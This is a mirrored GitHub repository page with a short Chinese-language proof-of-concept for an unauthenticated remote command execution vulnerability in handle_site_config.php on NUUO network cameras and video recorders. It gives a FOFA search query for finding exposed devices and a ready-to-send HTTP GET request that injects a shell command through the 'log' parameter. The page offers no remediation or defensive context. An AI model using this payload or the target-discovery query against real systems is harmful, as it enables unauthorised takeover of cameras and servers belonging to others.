admin/POC
1
0
Fork 0
mirror of https://github.com/eeeeeeeeee-code/POC.git synced 2025-05-05 10:17:57 +00:00
Code Issues Packages Projects Releases Wiki Activity
POC/wpoc/NUUO/NUUO摄像机handle_site_config远程代码执行漏洞.md
eeeeeeeeee-code 06c8413e64 first commit
2025-03-04 23:12:57 +08:00

608 B
Raw Blame History

NUUO摄像机handle_site_config远程代码执行漏洞

NUUO摄像头是中国台湾NUUO公司旗下的一款网络视频记录器，NUUO摄像头handle_site_config.php存在未授权命令执行漏洞，攻击者可以获取服务器权限

fofa

body="www.nuuo.com/eHelpdesk.php"

poc

GET /handle_site_config.php?log=;id; HTTP/1.1
Host: 
Priority: u=0, i
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:135.0) Gecko/20100101 Firefox/135.0

image-20250219154105386